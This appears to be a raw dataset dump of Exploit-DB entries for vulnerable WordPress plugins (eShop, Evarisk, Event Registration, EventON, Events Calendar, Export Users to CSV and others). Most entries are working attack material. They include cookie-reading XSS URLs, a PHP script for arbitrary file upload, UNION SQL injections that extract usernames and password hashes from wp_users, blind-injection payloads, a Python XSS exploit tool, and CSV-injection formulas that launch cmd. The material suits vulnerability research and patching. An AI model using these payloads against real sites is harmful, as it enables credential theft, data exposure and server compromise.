deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36038
Description: WordPress Plugin eShop 6.2.8 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-08-10
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/49117/info

eShop plugin for WordPress is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

eShop 6.2.8 is vulnerable; other versions may also be affected.

http://www.example.com/wp-admin/admin.php?page=eshop-templates.php&eshoptemplate=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/wp-admin/admin.php?page=eshop-orders.php&view=1&action=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E

http://www.example.com/wp-admin/admin.php?page=eshop-orders.php&viewemail=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E
Exploit-DB #37399
Description: WordPress Plugin Evarisk - 'uploadPhotoApres.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-01-14
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/53994/info

Evarisk plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and run it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Evarisk 5.1.5.4 is vulnerable; other versions may also be affected. 

<?php

$headers = array("Content-Type: application/octet-stream");

$uploadfile="<?php phpinfo(); ?>";
 
$ch = curl_init("http://www.example.com/wordpress/wp-content/plugins/evarisk/include/lib/actionsCorrectives/activite/uploadPhotoApres.php?qqfile=lo.php");
curl_setopt($ch, CURLOPT_POST, true);   
curl_setopt($ch, CURLOPT_POSTFIELDS, @$uploadfile);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>
Exploit-DB #17738
Description: WordPress Plugin Evarisk 5.1.3.6 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-28
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Evarisk plugin <= 5.1.3.6 SQL Injection Vulnerability
# Date: 2011-08-28
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/evarisk.5.1.3.6.zip
# Version: 5.1.3.6 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/evarisk/include/ajax.php?post=true&act=reloadCombo&table=wp_eva__veille_groupe_question&nomRacine=-1" UNION ALL SELECT 1,@@version,3,4,5,6,7--%20

---------------
Vulnerable code
---------------
if($_REQUEST['post'] == 'true')
{
    if(isset($_REQUEST['act']))
    {
        switch($_REQUEST['act'])
        {
            ...
            case 'reloadCombo':
                $racine = $wpdb->get_row( 'SELECT * FROM ' . TABLE_GROUPE_QUESTION . ' where nom="' . $_REQUEST['nomRacine'] . '"');
Exploit-DB #42173
Description: WordPress Plugin Event List < 0.7.8 - SQL Injection
Type: webapps
Platform: php
Date: 2017-06-04
Author: Dimitrios Tsagkarakis

Exploit:
# Exploit Title: WordPress Plugin Event List <= 0.7.8 - SQL Injection
# Date: 04-06-2017
# Exploit Author: Dimitrios Tsagkarakis
# Website: dtsa.eu 
# Software Link: https://wordpress.org/plugins/event-list/
# Version: 0.7.8
# CVE : CVE-2017-9429
# Category: webapps

 

1. Description:

   

SQL injection vulnerability in the Event List plugin 0.7.8 for WordPress
allows an authenticated user to execute arbitrary SQL commands via the id
parameter to wp-admin/admin.php. 

 

2. Proof of Concept:

 

http://[wordpress_site]/wp-admin/admin.php?page=el_admin_main&action=edit&id
=1 AND SLEEP(10)

 

3. Solution:

   

The plugin has been removed from WordPress. Deactivate the plug-in and wait
for a hotfix.

 

4. Reference:

 

http://dtsa.eu/cve-2017-9429-event-list-version-v-0-7-8-blind-based-sql-inje
ction-sqli/

http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2017-9429
Exploit-DB #15513
Description: WordPress Plugin Event Registration 5.32 - SQL Injection
Type: webapps
Platform: php
Date: 2010-11-13
Author: k3m4n9i

Exploit:
[ Wordpress Event Registration SQL injection ]
# Author: k3m4n9i
# Homepage: http://alko.web.id/
# Date: 13 November, 2010

[ Software Information ]
[+] Vendor : http://edgetechweb.com/
[+] Software Link: http://wordpress.org/extend/plugins/event-registration/
[+] Version: 5.32 or lower

[ Proof of Concept ]

[-] Vulnerable File
http://server/events/?regevent_action=register&event_id=[gotcha]

[-] Xpl
%20union%20select%201,group_concat(user_login,0x3a,user_pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50%20from%20wp_users--
Exploit-DB #17751
Description: WordPress Plugin Event Registration 5.4.3 - SQL Injection
Type: webapps
Platform: php
Date: 2011-08-30
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Event Registration plugin <= 5.4.3 SQL Injection Vulnerability
# Date: 2011-08-30
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/event-registration.5.43.zip
# Version: 5.4.3 (tested)
# Note: magic_quotes has to be turned off

---
PoC
---
http://www.site.com/wp-content/plugins/event-registration/event_registration_export.php?id=-1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)--%20

---------------
Vulnerable code
---------------
$id= $_REQUEST['id'];
...
$sql  = "SELECT * FROM " . $events_detail_tbl . " WHERE id='$id'";
$result = mysql_query($sql);
Exploit-DB #17814
Description: WordPress Plugin Event Registration 5.44 - SQL Injection
Type: webapps
Platform: php
Date: 2011-09-09
Author: serk

Exploit:
# Exploit Title: Wordpress Event Registration plugin <= 5.44 SQl Injection Vulnerability
# Google Dork: "?regevent_action=register&event_id"
# Date: 2011-09-09
# Author: serk
# Vendor: http://edgetechweb.com/
# Software Link: https://wordpress.org/extend/plugins/events-registration/
# Version: 5.44


[ exploit ]

domain.tld/events-2/?regevent_action=register&event_id=2%20UNION%20SELECT%201,concat%28user_login,0x3a,user_pass,0x3a,user_email%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33%20from%20wp_users--
Exploit-DB #47335
Description: WordPress Plugin Event Tickets 4.10.7.1 - CSV Injection
Type: webapps
Platform: php
Date: 2019-09-02
Author: MTK

Exploit:
# Exploit Title: WordPress Plugin Event Tickets >= 4.10.7.1 - CSV Injection
# Google Dork: inurl:"\wp-content\plugins\event-tickets"
# Date: 09-01-2019
# Exploit Author: MTK (http://mtk911.cf/)
# Vendor Homepage: https://tri.be/
# Software Link: https://downloads.wordpress.org/plugin/event-tickets.4.10.7.1.zip
# Version: Up to v4.107.1
# Tested on: Apache2/WordPress 5.2.2 - Firefox/Windows

# Software description:
Event Tickets provides a simple way for visitors to RSVP or purchase tickets to your events. As a standalone plugin, it enables you to add RSVPs or tickets to posts or pages. When paired with The Events Calendar, you can add that same functionality directly to your event listings.

# Technical Details & Impact:
It's possible to run malicious command on logged in user computer. Even though an alert message is shown on opening the file but users usually ignore such pop-ups since file is from known source.

# POC

1. 	Visit RSVP ticket enabled page
2.	In Full name section add payload for CSV injection e.g.
=cmd|'/C ping -t 127.0.0.1'!A0
3.	Login into WordPress and visit event details in All Post> Ticketed > Attendees. 
4.	Export Attendees list (.csv format).
5.	Opening the file will execute malicious payload (command) on user system


# Timeline
02-08-2019 - Vulnerability discovered
02-08-2019 - Vendor contacted
02-08-2019 - Vendor responded
02-08-2019 - Detailed report shared
02-18-2019 - Contacted vendor on fixation status without any response 
08-26-2019 - Full disclosure timeline given without any response
09-01-2019 - Full Disclosure
Exploit-DB #17794
Description: WordPress Plugin Eventify - Simple Events 1.7.f SQL Injection
Type: webapps
Platform: php
Date: 2011-09-07
Author: Miroslav Stampar

Exploit:
# Exploit Title: WordPress Eventify - Simple Events plugin <= 1.7.f SQL Injection Vulnerability
# Date: 2011-09-07
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/eventify.zip
# Version: 1.7.f (tested)
# Note: magic_quotes has to be turned off

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/eventify/php/ajax/fetcheventdetails.php
 npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9--%20

e.g.:
curl --data "npath=../../../../../wp-content&eventid=-1' UNION ALL SELECT 1,2,current_user(),connection_id(),version(),database(),7,8,9-- " http://www.site.com/wp-content/plugins/eventify/php/ajax/fetcheventdetails.php

---------------
Vulnerable code
---------------
require_once(str_ireplace("/wp-content","",$_POST['npath']).'/wp-load.php');
$eventid =  $_POST['eventid'];
$action = "fetch";

if($action=="fetch"){
    ...
    $qry= "select * from ".$table_name." where em_id='$eventid'" ;
    ...
    $results = $wpdb->get_results($qry);
Exploit-DB #49130
Description: Wordpress Plugin EventON Calendar 3.0.5 - Reflected Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-12-01
Author: B3KC4T

Exploit:
# Exploit Title: Wordpress Plugin EventON Calendar 3.0.5 - Reflected Cross-Site Scripting
# Date: 27.11.2020
# Exploit Author: b3kc4t (Mustafa GUNDOGDU)
# Vendor Homepage: https://www.myeventon.com/
# Version: 3.0.5
# Tested on: Ubuntu 18.04
# CVE : 2020-29395
# Description Link:
https://github.com/mustgundogdu/Research/tree/main/EventON_PLUGIN_XSS

"""
                 ~ VULNERABLITY DETAILS ~
    
    https://target/addons/?q=<svg/onload=alert(/b3kc4t/)>
    
    #
    WordPress sites that use EventOn Calendar cause reflected xss vulnerability to javascript payloads injected 
    into the search field.
    
    #
    The following python code will inject javascript code and print out url that will be sent to victim. 
    If you use unicode caracters for xss , exploit will print page source.

    ##USAGE##
    
    $ sudo python eventon_exploit.py --exploit --url https://target/addons/?q= --payload '<svg/onload=alert(/b3kc4t/)>'

    ##OUTPUT##

    [+] https://target/addons/?q=<svg/onload=alert(/b3kc4t/)>


"""
import requests
import sys
import argparse
from colorama import Fore
        
def vuln_reflected(url, payload):

    s = requests.Session()
    get_request = s.get(url+payload)
    
    if get_request.status_code == 500:
        print(Fore.GREEN+"[-] COULD BE WAF, NOT BE REALIZED XSS INJECTION [-]")

    else:
        content_result = str(get_request.content)
        search_find = content_result.find(payload)

        if search_find != -1:
            print(Fore.GREEN+"[+] "+str(url)+str(payload))

        else:

            print(content_result)


def main():

    desc = "Wordpress EventON Calendar Plugin XSS"
    parser = argparse.ArgumentParser(description=desc)
    exp_option = parser.add_argument_group('')
    parser.add_argument("--exploit", help ="", action='store_true')
    parser.add_argument("--url",help="", type=str, required=False)
    parser.add_argument("--payload",help="",type=str,required=False)

    args = parser.parse_args()

    if args.exploit:

        if args.url:

            if args.payload:
                url = args.url
                payload = args.payload
                vuln_reflected(url, payload)

if name == 'main':
    main()
Exploit-DB #51658
Description: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Event Access
Type: webapps
Platform: php
Date: 2023-08-04
Author: Miguel Santareno

Exploit:
# Exploit Title: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Event Access
# Date: 03.08.2023
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://www.myeventon.com/
# Version: 4.4
# Tested on: Google and Firefox latest version
# CVE : CVE-2023-2796

# 1. Description
The plugin lacks authentication and authorization in its eventon_ics_download ajax action, allowing unauthenticated visitors to access private and password protected Events by guessing their numeric id.


# 2. Proof of Concept (PoC)
Proof of Concept:
https://example.com/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=value
Exploit-DB #51659
Description: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Post Access via IDOR
Type: webapps
Platform: php
Date: 2023-08-04
Author: Miguel Santareno

Exploit:
# Exploit Title: Wordpress Plugin EventON Calendar 4.4 - Unauthenticated Post Access via IDOR
# Date: 03.08.2023
# Exploit Author: Miguel Santareno
# Vendor Homepage: https://www.myeventon.com/
# Version: 4.4
# Tested on: Google and Firefox latest version
# CVE : CVE-2023-3219

# 1. Description
The plugin does not validate that the event_id parameter in its eventon_ics_download ajax action is a valid Event, allowing unauthenticated visitors to access any Post (including unpublished or protected posts) content via the ics export functionality by providing the numeric id of the post.


# 2. Proof of Concept (PoC)
Proof of Concept:
https://example.com/wp-admin/admin-ajax.php?action=eventon_ics_download&event_id=<any post id>
Exploit-DB #10929
Description: WordPress Plugin Events - SQL Injection
Type: webapps
Platform: php
Date: 2010-01-02
Author: Red-D3v1L

Exploit:
+===================================================================================+
            ./SEC-R1Z   _ __ _  _ _ _ ___ _ _ _ _   __  _ _ _ _ _           
            / /_ _ _ _ /   _ _\/   _ _ /\        \<   |/_ _ _ _ / 
            \ \_ _ _ _/  /___ /  /   __  |  |)   / |  |   /   /
             \_ _ _ _/  /___ /  /  | __ ||      /  |  |  /   /
              _______\  \_ _ \  \2_0_0_9 |      \  |  | /   /____
            /_ _ _ _ _\ _ _ _/\ _ _ _ /  |__|\ __\ |__|/_ _ _ _ _\ R.I.P MichaelJackson !!!!!
+===================================================================================+

        [?] ~ Note : sEc-r1z CrEw# r0x !
==============================================================================
        [?] Wordpress script <== x.x.x (Events Plugins)SQL Injection Vulnerability
==============================================================================
    [?] My home:              [ http://sec-r1z.com ]
    [?] Script:               [ Wordpress Script All Versi0n ]
    [?] Language:             [ PHP ]
    [?] Vendor                [http://wordpress.org/extend/plugins/events-calendar/ ]
    [?] Founder:              [ ./Red-D3v1L ]
    [?] Gr44tz to:            [ sec-r1z# Crew - Hackteach Team - My L0ve ~A~ ]
    [?] Fuck To :             [ Zombie_KsA << big big big L4m3r ] 
########################################################################
  
===[ Exploit SQL ]===
  
[»]SQL : http://server/[Plugins]/?event_id=[inj3ct C0dE]
 

==============================================================================

#sEc-r1z.com Str1kEz y0u !
Exploit-DB #43479
Description: WordPress Plugin Events Calendar - 'event_id' SQL Injection
Type: webapps
Platform: php
Date: 2018-01-10
Author: Dennis Veninga

Exploit:
# Exploit Title: Wichipi Events Calendar - SQL Injection
# Date: 09-01-2018
# Exploit Author: Dennis Veninga
# Contact Author: d.veninga [at] networking4all.com
# Vendor Homepage: codecanyon.net/user/wachipi
# Version: 1.0
# CVE-ID: CVE-2018-5315

Events Calendar allows you to easily add to your website a powerful
interactive calendar to present your events.

Found 09-01-18
Vendor reply & fix 09-01-2018

The Wachipi WP Events Calendar plugin 1.0 for WordPress has SQL Injection
via the event_id parameter to event.php.

NOTE: this plugin is NOT related to the Modern Tribe Events Calendar plugin.

[Additional Information]
http://
{TARGET}/event.php?event_id=-123%20union%20all%20select%201,2,@@version,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--

[Vulnerability Type]
SQL Injection

[Vendor of Product]
https://codecanyon.net/item/wp-events-calendar-plugin/5025660 Wachipi

[Affected Product Code Base]
Events Calendar - 1.0

[Affected Component]
events.php

[Attack Type]
Remote

[Impact Code execution]
true

[Impact Escalation of Privileges]
true

[Impact Information Disclosure]
true

[Attack Vectors]
To exploit, union select 29 columns.  User can use 2 or 25 for information
gathering.

[Discoverer]
Dennis Veninga @ Networking4all.com
Exploit-DB #44785
Description: WordPress Plugin Events Calendar - SQL Injection
Type: webapps
Platform: php
Date: 2018-05-28
Author: AkkuS

Exploit:
# Exploit Title: Wordpress Plugin Events Calendar - SQL Injection
# Dork: N/A
# Date: 2018-05-27
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Vendor: Wachipi
# Vendor Homepage: https://codecanyon.net/item/wp-events-calendar-plugin/5025660
# Version: 1.0
# Category: Webapps
# Tested on: Kali linux
# Description : An attacker can perform attacks via calendar ajax queries.
# However, this plugin is fully PHP-enabled. You can run SQL query with
# "month" and "year" parameters.
# These parameters are also suitable for XSS attacks.
# All PHP queries for which these parameters work have the same vulnerable.

# "getBookingForm.php, getMonthCalendar.php, getEventsList.php"
# Demo : http://www.checkingarea.com/EVENTS_WP/
# PoC : SQLi :
# GET
/EVENTS_WP/wp-content/plugins/wp-events-calendar/public/ajax/getEventsList.php?year=2018&month=5&day=1&calendar_id=1&pag=1



# Parameter: month (GET)
# Type: boolean-based blind
# Title: AND boolean-based blind - WHERE or HAVING clause
# Payload: 
year=2018&month=5' AND 7958=7958 AND 'FXnO'='FXnO&day=1&calendar_id=1&pag=1

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload: 
year=2018&month=5' AND SLEEP(5) AND 'MmZz'='MmZz&day=1&calendar_id=1&pag=1

# Type: UNION query
# Title: MySQL UNION query (NULL) - 29 columns
# Payload: 
year=2018&month=5' UNION ALL SELECT NULL,NULL,CONCAT&day=1&calendar_id=1&pag=1(0x71786a7171,0x424e[PII_REDACTED]62436e774c4a4d664a7751424c[PII_REDACTED]56465a464b[PII_REDACTED]527676756e,0x[PII_REDACTED]),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&calendar_id=1

# Parameter: year (GET)
# Type: boolean-based blind
# Title: OR boolean-based blind - WHERE or HAVING clause (MySQL comment)
# Payload: 
year=-8454' OR 7997=7997#&month=5&day=1&calendar_id=1&pag=1

# Type: AND/OR time-based blind
# Title: MySQL >= 5.0.12 AND time-based blind
# Payload: 
year=2018' AND SLEEP(5)--
uTJs&month=5&day=1&calendar_id=1&pag=1

# Type: UNION query
# Title: MySQL UNION query (NULL) - 29 columns
# Payload: 
year=2018' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x71786a7171,0x7766694a50504a425a6e635a564b5172674c745770414e4f[PII_REDACTED]5a44626b416a6c797a674b,0x[PII_REDACTED]),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&month=5&day=1&calendar_id=1&pag=1
Exploit-DB #14923
Description: WordPress Plugin Events Manager Extended - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-09-06
Author: Craw

Exploit:
# Author: Craw
# Email: craw@element7.eu             
# Software Link: http://wordpress.org/extend/plugins/events-manager-extended/
# Version: 3.1.2
# Category: webapplications
 
=======================================================
 
 
[+] ExploiT [1] : If you are allowed to leave a comment:
	
	Persistent XSS Vulnerability: You can inject Javascript Code in your comment.
	The Code will be displayed below the event.

	
[+] ExploiT [2] : If you are allowed to book an event:
   
   Persistent XSS Vulnerability: You can inject Javascript Code in [Name] ,  [Email] , [Phonenumber] , [Comment]
   The Code will be displayed in the Wordpress Backend -> http://www.site.com/wp-admin/admin.php?page=events-manager-people
   

=======================================================
Greetz @ LUXEMBOURG
=======================================================
Exploit-DB #45206
Description: WordPress Plugin Export Users to CSV 1.1.1 - CSV Injection
Type: webapps
Platform: php
Date: 2018-08-16
Author: Javier Olmedo

Exploit:
# Exploit Title: Wordpress Plugin Export Users to CSV 1.1.1 - CSV Injection
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-08-14
# Google Dork: N/A
# Vendor: Matt Cromwell
# Software Link: https://wordpress.org/plugins/export-users-to-csv/
# Affected Version: 1.1.1 and before
# Active installations: +20,000
# Patched Version: unpatched
# Category: Web Application
# Platform: PHP
# Tested on: Win10x64

# 1. Plugin Description:
# WordPress Export Users to CSV plugin exports user data and meta data. 
# You can even export the users by role and registration date range.
 
# 2. Technical Description:
# WordPress Export users to CSV plugin version 1.1.1. and before are affected by Remote Code Execution 
# through the CSV injection vulnerability. This allows an application user to inject commands as part 
# of the fields of his profile and these commands are executed when a user with greater privilege 
# exports the data in CSV and opens that file on his machine.
 
# 3. Proof Of Concept (PoC):
# Enter the payload =SUM(1+1)*cmd|' /C calc'!A0 in any field of the profile, for example, in biography.
# When the user with high privileges logs in to the application, export data in CSV and opens the 
# generated file, the command is executed and the calculator will run open on the machine.

# 4. Payloads:
=SUM(1+1)*cmd|' /C calc'!A0
+SUM(1+1)*cmd|' /C calc'!A0
-SUM(1+1)*cmd|' /C calc'!A0
@SUM(1+1)*cmd|' /C calc'!A0